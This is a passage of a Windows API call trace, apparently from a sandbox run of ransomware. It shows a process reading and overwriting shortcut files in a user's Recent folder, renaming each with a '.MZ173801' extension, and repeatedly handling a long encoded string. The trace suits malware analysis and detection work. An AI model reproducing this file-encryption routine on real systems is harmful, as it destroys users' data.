zZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MeaOqsa9RRk c.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\meaoqsa9rrk c.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.666] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.666] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.666] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x252 [0121.666] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.666] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x252, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x252, lpOverlapped=0x0) returned 1 [0121.667] CloseHandle (hObject=0x288) returned 1 [0121.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MeaOqsa9RRk c.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\meaoqsa9rrk c.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.668] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x252, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x252, lpOverlapped=0x0) returned 1 [0121.670] CloseHandle (hObject=0x288) returned 1 [0121.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MeaOqsa9RRk c.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\meaoqsa9rrk c.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MeaOqsa9RRk c.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\meaoqsa9rrk c.flv.lnk.mz173801")) returned 1 [0121.672] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde86db20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde86db20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa5d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MIlEcqTtx7JV xwb.lnk", cAlternateFileName="MILECQ~1.LNK")) returned 1 [0121.672] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.672] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MIlEcqTtx7JV xwb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\milecqttx7jv xwb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde86db20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde86db20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa5d)) returned 1 [0121.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MIlEcqTtx7JV xwb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\milecqttx7jv xwb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.675] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.675] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.675] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa5d [0121.675] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.675] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa5d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa5d, lpOverlapped=0x0) returned 1 [0121.676] CloseHandle (hObject=0x288) returned 1 [0121.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MIlEcqTtx7JV xwb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\milecqttx7jv xwb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.678] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa5d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa5d, lpOverlapped=0x0) returned 1 [0121.678] CloseHandle (hObject=0x288) returned 1 [0121.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MIlEcqTtx7JV xwb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\milecqttx7jv xwb.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MIlEcqTtx7JV xwb.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\milecqttx7jv xwb.lnk.mz173801")) returned 1 [0121.680] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd705a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfcf58e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Mr3PQACS.lnk", cAlternateFileName="")) returned 1 [0121.681] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.681] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mr3PQACS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mr3pqacs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd705a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfcf58e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe59)) returned 1 [0121.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 